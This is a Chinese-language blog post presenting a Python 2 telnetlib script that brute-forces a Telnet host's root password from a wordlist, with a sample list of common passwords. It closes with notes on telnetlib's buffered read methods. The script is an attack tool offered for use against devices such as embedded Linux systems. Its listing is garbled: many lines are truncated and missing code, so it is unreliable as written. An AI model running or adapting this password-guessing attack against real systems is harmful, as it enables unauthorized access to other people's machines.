Python实现Telnet自动连接检测密码

最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。

 

代码如下:

 

[python] view plaincopy

 

    1. #encoding=utf-8  
    2. import telnetlib  
    3. import time  
    4. import sys  
    5. import os  
    6.   
    7. def do_telnet(Host, Port, username, password, finish):  
    8. #连接Telnet服务器  
    9. 1)  
    10. 3)  
    11.       
    12. #输入登录用户名  
    13. "login: ")  
    14. '\n')  
    15.       
    16. # 输入登录密码  
    17. "Password: ")  
    18. '\n')  
    19.         
    20. # 判断密码错误提示,如果没有这个提示说明登录成功  
    21. if tn.read_until(finish):  
    22. print "****** login incorrect!\n"  
    23.     tn.close();  
    24.       
    25. if __name__=='__main__':  
    26. "IP:")           # Telnet服务器IP  
    27. "Port:")        # Telnet服务器端口  
    28. 'root'          # 登录用户名  
    29. 'incorrect'       # 密码错误提示  
    30. '.\\pw.txt','r+') #密码文件  
    31. 0  
    32. print time.asctime(),":   ****** begin","\n"  
    33. while True:  
    34.         password = pw_file.readline()  
    35. 1;  
    36. print Index,time.asctime(),":   ****** try","",username,":",password,""  
    37. if len(password) == 0:  
    38. break;  
    39.         do_telnet(Host, Port, username, password, finish)  
    40.     pw_file.close();

     

    密码本pw.txt,内容例如:

     

    [plain] view plaincopy

     

    1. root  
    2. admin  
    3. 12345  
    4. 888888

     

    输出如下:

    python 探测 python探测操作系统密码_错误提示



    注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。

     

     

     

     

    telnetlib提供好多方法可以得到数据,象read_until()是当结果中存在想要的信息时返回,read_some()是只要有结果就返回,read_very_lazy()是返回缓冲区中的数据。经过看代码,telnetlib采用缓冲的处理方式,因此数据并不是一下子就返回的,而是先放在了缓冲区中。许多的读取处理都是围绕着这个缓冲区来的。而缓冲区的信息何时到达就不说不清楚了,也许很快,也许很慢,也许分别到达,也许一下子就收到了。因此,对于数据不一定到齐的这种情况,就采用了象read_until()来判断缓冲区中的数据是否有想要的内容,如果没有就等待,除非到达了超时时间。再有可以使用expect方法,与read_until差不多,但是它可以支持正则表达式,功能要强大得多。

    在网上还有一个叫 Pexpect 它好象功能强大,它支持多种协议,它的主页就建议使用 Pexpect 来下载它的文档。不过因为网络不太好就没有下来,不知道支不支持 Telnet 协议。

    上面的程序再配以 ftplib 的功能就可以做一个远程更新的维护程序。只不过如何判断后台返回的信息,我没有找到好的方法,是使用read_lazy()还是read_eager()呢?还是什么别的方法。最主要的问题是,返回的数据不一定完整。好象没有提供一个read_line()的方法。